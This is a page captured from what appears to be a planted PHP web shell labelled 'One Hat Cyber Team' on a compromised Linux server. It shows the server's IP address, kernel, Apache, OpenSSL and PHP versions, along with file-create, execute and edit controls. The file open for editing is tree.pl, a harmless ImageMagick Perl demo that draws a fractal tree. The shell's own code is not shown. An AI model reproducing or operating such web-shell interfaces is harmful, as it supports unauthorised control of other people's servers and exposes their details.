One Hat Cyber Team
Your IP :
172.70.80.190
Server IP :
188.114.97.4
Server :
Linux thuru 6.5.11-4-pve #1 SMP PREEMPT_DYNAMIC PMX 6.5.11-4 (2023-11-20T10:19Z) x86_64
Server Software :
Apache/2.4.51 (Unix) OpenSSL/1.0.2k-fips
PHP Version :
7.3.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
doc
/
ImageMagick-perl-6.9.10.68
/
demo
/
Edit File:
tree.pl
#!/usr/bin/perl eval 'exec /usr/bin/perl -S $0 ${1+"$@"}' if 0; # not running under some shell # # Example of using a lsys fractal, # which in turm used Turtle Graphics # use Cwd; use lib cwd; require "lsys.pl"; %rule = ( 'A' => 'S[---LMA][++++B]', 'B' => 'S[++LBg][--Cg]', 'C' => 'S[-----LB]GS[+MC]', 'g' => '', 'L' => '[{S+S+S+S+S+S}]' ); %stemchanges = ( distance => 18.5, dtheta => 0.1, motionsub => sub{ $im->Draw ( primitive=>'line', points=>join(' ',@_), stroke=>'dark green', strokewidth=>1 ); } ); %polychanges = ( distance => 3, dtheta => 0.4, motionsub => sub{ push( @poly, @_[0..1] ); } ); $changes = \%stemchanges; lsys_init(400); lsys_execute('A', 10, "tree.gif", %rule);
Simpan